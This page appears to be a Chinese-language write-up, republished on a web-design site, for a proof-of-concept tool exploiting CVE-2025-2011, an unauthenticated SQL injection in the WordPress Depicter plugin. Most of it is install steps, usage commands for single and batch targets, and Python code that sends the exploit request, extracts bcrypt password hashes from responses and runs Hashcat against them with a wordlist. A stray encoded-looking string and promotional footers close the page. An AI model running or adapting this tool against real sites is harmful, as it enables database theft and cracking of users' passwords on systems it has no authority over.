金华市网站建设_网站建设公司_过渡效果_seo优化
2026/1/3 19:19:23 网站建设 项目流程

项目标题与描述

这是一个针对CVE-2025-2011漏洞的专业检测与利用工具。该漏洞存在于WordPress插件Depicter(Slider & Popup Builder)的3.6.1及更早版本中,是一个未经身份验证的SQL注入漏洞。攻击者可以在无需任何权限的情况下,通过特制的请求从数据库中提取敏感信息,例如用户的bcrypt密码哈希。

项目提供了一个命令行工具,可以自动化地测试单个目标或目标列表,识别漏洞,提取潜在的用户密码哈希,并可选地调用Hashcat进行密码破解。

功能特性

  • 双重Payload利用:提供两种不同的SQL注入Payload,以应对不同的环境或过滤情况。
  • 批量目标扫描:支持通过文件输入的方式,批量对多个目标URL进行漏洞检测。
  • 自动哈希提取:利用正则表达式自动从HTTP响应中识别和提取bcrypt哈希值。
  • 集成密码破解:可与Hashcat无缝集成,自动将提取的哈希传递给Hashcat,使用rockyou.txt字典进行破解尝试(模式3200)。
  • 直观的视觉反馈:使用colorama库提供彩色的命令行输出,并在发送请求时显示动态的加载指示器。
  • 结果自动保存:所有测试的请求、状态码和响应片段都会自动保存到以目标主机名命名的日志文件中(例如 results_example.com.txt)。
  • 漏洞详情说明:项目文档包含了详细的漏洞卡片,涵盖CVE ID、发布时间、CVSS评分、影响范围等技术细节。

安装指南

  1. 前提条件

    • 确保系统已安装Python 3。
    • 确保已安装pip(Python包管理器)。
  2. 安装Python依赖
    运行以下命令安装项目所需的Python库。

    pip install requests colorama
    
  3. 可选工具安装(用于密码破解)

    • 如果需要使用密码破解功能,请确保系统已安装 Hashcat
    • 同时,需要准备密码字典文件(如rockyou.txt)。在Kali Linux等渗透测试发行版中,该字典通常位于/usr/share/wordlists/rockyou.txt
  4. 获取脚本

    • 将提供的Python脚本(例如 cve-2025-2011.py)保存到本地。
  5. 运行权限(可选):

    chmod +x cve-2025-2011.py
    

使用说明

基本用法

脚本提供两种指定目标的方式:

  • 测试单个目标:使用 -u--url 参数。
  • 测试目标列表:使用 -f--file 参数指定一个文本文件,该文件每行包含一个目标URL。

此外,可以使用 -p--payload 参数选择要使用的Payload(1 或 2)。

使用示例

  1. 对单个网站进行测试(使用默认Payload 1)

    python cve-2025-2011.py -u http://vulnerable-wordpress-site.com
    
  2. 对单个网站进行测试,并指定Payload 2

    python cve-2025-2011.py -u http://vulnerable-wordpress-site.com -p 2
    
  3. 批量测试文件targets.txt中列出的所有网站

    python cve-2025-2011.py -f targets.txt
    

工作流程

  1. 运行脚本后,会显示一个醒目的ASCII艺术横幅。
  2. 脚本会构建完整的漏洞利用URL。
  3. 发送HTTP GET请求时,会显示一个旋转的加载指示器。
  4. 请求完成后,会显示HTTP状态码和响应的前500个字符。
  5. 脚本会自动分析响应内容,尝试提取$2y$等格式的bcrypt哈希。
  6. 如果发现哈希,会提示用户是否要使用Hashcat进行破解。
  7. 无论是否发现哈希,详细的测试结果都会被保存到本地日志文件。

核心代码

以下是项目的核心代码模块,附有详细注释。

1. 主函数与参数解析

此部分是程序的入口,负责解析用户输入的参数(目标URL或文件、Payload选择)并调用相应的测试函数。

def main():print(BANNER) # 打印工具横幅parser = argparse.ArgumentParser(description=f"{Fore.CYAN}CVE-2025-2011 PoC by X3RX3S / Double Payload")# 创建互斥参数组,确保用户只能指定URL或文件中的一种group = parser.add_mutually_exclusive_group(required=True)group.add_argument('-u', '--url', help='Target URL')group.add_argument('-f', '--file', help='File with list of target URLs (one per line)')# 添加Payload选择参数,默认为‘1’parser.add_argument('-p', '--payload', choices=['1', '2'], default='1',help='Payload to use: 1 or 2 (default: 1)')args = parser.parse_args() # 解析命令行参数# 处理单个URL目标if args.url:test_sqli(args.url, args.payload)# 处理包含多个URL的文件if args.file:try:with open(args.file, 'r') as f:urls = [line.strip() for line in f if line.strip()]for url in urls:test_sqli(url, args.payload)except FileNotFoundError:print(f"{Fore.RED}[-] Could not find file: {args.file}")print(f"\n{Fore.GREEN}[+] Done! Stay patched, stay safe!")if __name__ == "__main__":main()

2. SQL注入测试与哈希提取函数

这是工具的核心功能函数,负责发送Payload、接收响应、提取哈希并提供后续破解选项。

def test_sqli(url, payload_choice):global spinner_running# 从URL中提取主机名,用于命名结果文件hostname = urlparse(url).hostname or 'unknown_host'log_file = f"results_{hostname}.txt"# 根据用户选择获取对应的Payloadpayload = PAYLOADS[payload_choice]# 构造完整的漏洞利用URLfull_url = url.rstrip("/") + payloadprint(f"{Fore.YELLOW}\n[+] Target: {Fore.CYAN}{full_url}")# 启动一个线程显示加载动画spinner_running = Truet = threading.Thread(target=spinner)t.start()try:# 发送HTTP GET请求,超时时间设置为10秒response = requests.get(full_url, timeout=10)except requests.RequestException as e:spinner_running = Falset.join()print(f"{Fore.RED}\n[-] Request failed for {url}: {e}")return# 停止加载动画线程spinner_running = Falset.join()# 输出请求结果print(f"\n{Fore.GREEN}[+] Status: {response.status_code}")snippet = response.text[:500]print(f"{Fore.MAGENTA}[+] Response snippet:\n{Style.RESET_ALL}{snippet}")# 将测试详情写入日志文件with open(log_file, 'w') as f:f.write(f"URL: {full_url}\n")f.write(f"Status: {response.status_code}\n")f.write("Response snippet:\n")f.write(snippet + "\n")print(f"{Fore.CYAN}[+] Results saved to {log_file}")# 从响应文本中提取bcrypt哈希hashes = extract_hashes(response.text)if hashes:print(f"{Fore.GREEN}[+] Found possible bcrypt hashes: {hashes}")# 询问用户是否要进行密码破解choice = input(f"{Fore.YELLOW}[?] Crack with Hashcat? (Y/N): ").strip().lower()if choice == 'y':run_hashcat(hashes)else:print(f"{Fore.CYAN}[+] Skipped Hashcat cracking.")else:print(f"{Fore.RED}[-] No bcrypt hashes detected in response.")

3. Hashcat集成破解函数

此函数负责将提取到的哈希值保存到文件,并调用外部Hashcat工具进行破解。

def run_hashcat(hashes):# 将所有找到的哈希写入临时文件`hashes.txt`with open('hashes.txt', 'w') as f:for h in hashes:f.write(h + '\n')print(f"{Fore.CYAN}[+] Saved hashes to hashes.txt")print(f"{Fore.YELLOW}[~] Running Hashcat with rockyou.txt for bcrypt (mode 3200)")# 构建Hashcat命令# -m 3200 指定破解模式为bcryptcmd = ['hashcat', '-m', '3200', 'hashes.txt', '/usr/share/wordlists/rockyou.txt']try:# 执行Hashcat命令subprocess.run(cmd)except FileNotFoundError:# 处理Hashcat未安装或找不到的情况print(f"{Fore.RED}[-] Hashcat not found or not installed!")

6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAP+yich9kTj3ffkxy6bU0Vq
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询